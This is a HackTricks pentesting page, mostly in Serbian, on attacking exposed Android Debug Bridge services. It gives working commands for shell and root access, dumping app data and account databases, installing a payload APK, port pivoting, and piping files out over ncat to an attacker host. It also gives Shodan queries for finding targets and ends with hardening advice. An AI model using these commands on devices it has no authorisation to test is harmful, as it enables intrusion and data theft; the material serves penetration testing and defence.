5555 - Android Debug Bridge
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Iz dokumentacije:
Android Debug Bridge (adb) je alat komandne linije za komunikaciju sa uređajima i emulatorima zasnovanim na Androidu. Tipične radnje uključuju instalaciju paketa, debagovanje i dobijanje interaktivnog Unix shell-a na uređaju.
- Istorijski podrazumevani TCP port: 5555 (klasični "adb tcpip" režim).
- Moderno bežično debagovanje (Android 11+) koristi TLS uparivanje i mDNS otkrivanje usluga. Port za povezivanje je dinamičan i otkriva se putem mDNS; možda neće biti 5555. Uparivanje se vrši sa adb pair host:port, a zatim adb connect. Pogledajte beleške u nastavku za ofanzivne implikacije.
Primer nmap otiska:
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
Poveži se
Ako pronađeš ADB izložen i dostupan, pokušaj brzo da se povežeš i izvršiš enumeraciju:
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
- Ako uređaj primenjuje ADB autentifikaciju (ro.adb.secure=1), bićete potrebni da budete unapred autorizovani (USB RSA auth) ili da koristite Android 11+ bežično uparivanje za debagovanje (što zahteva jednokratni kod prikazan na uređaju).
- Neki proizvođački imidži, inženjerske/userdebug verzije, emulatori, televizori, STB-ovi i razvojni kompleti izlažu adbd bez autentifikacije ili sa adbd koji radi kao root. U tim slučajevima, obično ćete direktno ući u shell ili root shell.
Za opšti ADB referentni vodič, pogledajte:
Brza Post-Exploatacija
Kada imate shell, proverite privilegije i SELinux kontekst:
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
Enumerate and capture data
- Lista aplikacija trećih strana i putanja:
pm list packages -3
pm path <pkg>
- Ako imate root (adb root ili su rade), možete pristupiti /data direktno. Ako ne, preferirajte run-as za aplikacije koje se mogu debagovati:
# Bez roota, za aplikaciju koja se može debagovati
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Sa rootom
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
- Korisni sistemski artefakti (potreban root):
- /data/system/users/0/accounts.db i povezani AccountManager podaci
- /data/misc/wifi/ (mrežne konfiguracije/ključevi na starijim verzijama)
- Specifične SQLite DB-ove aplikacija i shared_prefs pod /data/data/
Možete koristiti ovo za preuzimanje osetljivih informacija (npr., tajne aplikacije). Za beleške o razmatranjima podataka Chrome-a, pogledajte problem referenciran ovde.
Code execution and payload delivery
- Instalirajte i automatski dodelite dozvole za vreme izvođenja:
adb install -r -g payload.apk # -g dodeljuje sve dozvole za vreme izvođenja navedene u manifestu
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
- Pokrenite aktivnosti/usluge/emitovanja direktno:
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
Port forwarding and pivoting
Čak i bez roota, adb može preusmeriti lokalne portove na portove uređaja i obrnuto. Ovo je korisno za pristup uslugama vezanim lokalno na uređaju ili za izlaganje usluga napadača uređaju.
- Preusmeravanje host->uređaj (pristup lokalnoj usluzi uređaja sa vašeg hosta):
adb forward tcp:2222 tcp:22 # Ako uređaj pokreće SSH (npr., Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Izložite lokalni debug server aplikacije
- Obrnuto preusmeravanje uređaj->host (omogućite uređaju da dođe do usluge na vašem hostu):
adb reverse tcp:1080 tcp:1080 # Aplikacije na uređaju sada mogu doći do host:1080 kao 127.0.0.1:1080
- Ekstrakcija fajlova preko soketa (bez pisanja na sdcard):
# Na hostu: slušajte
ncat -lvp 9000 > dump.tar
# Na uređaju: pošaljite direktorijum kao tar (root ili run-as prema potrebi)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
Wireless Debugging (Android 11+)
Moderni Android implementira TLS-zaštićeno bežično debagovanje sa uparivanjem sa strane uređaja i mDNS otkrivanjem:
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
Notes
- Portovi su dinamični; ne pretpostavljajte 5555. mDNS imena usluga izgledaju ovako:
- _adb-tls-pairing._tcp (pariranje)
- _adb-tls-connect._tcp (povezivanje)
- _adb._tcp (legacy/plain)
- Ako je mDNS filtriran, klasično omogućavanje putem USB-a može i dalje raditi na nekim verzijama:
adb tcpip 5555
zatimadb connect <ip>:5555
(do ponovnog pokretanja).
Ofanzivne implikacije: ako možete da interagujete sa UI uređaja (npr. fizički pristup ili pogrešna konfiguracija mobilnog MDM) da omogućite bežično debagovanje i vidite kod za pariranje, možete uspostaviti dugotrajni ADB kanal bez kabla. Neki OEM-ovi izlažu ADB preko TCP-a u inženjerskim/dev slikama bez pariranja—uvek proverite.
Hardening / Detection
Defanzivci bi trebali pretpostaviti da je svaki dostupni adbd (TCP) kritički rizik.
- Onemogućite ADB i bežično debagovanje kada nisu potrebni. Oduzmite ovlašćenja za USB debagovanje u opcijama za programere.
- Osigurajte da mrežna politika blokira dolazni TCP/5555 i mDNS zasnovano ADB otkrivanje na nepouzdanim segmentima.
- Na uređajima pod vašom kontrolom:
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # onemogućite TCP slušanje (ili koristite: adb usb)
stop adbd; start adbd # restartujte demon
- Pratite mDNS zapise
_adb._tcp
,_adb-tls-connect._tcp
,_adb-tls-pairing._tcp
na korporativnim mrežama i upozorenja za neočekivane 5555 slušaoce. - Inventar za nesigurne verzije:
getprop ro.debuggable
,ro.build.type
, iro.adb.secure
.
Shodan
- android debug bridge
- port:5555 product:"Android Debug Bridge"
References
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.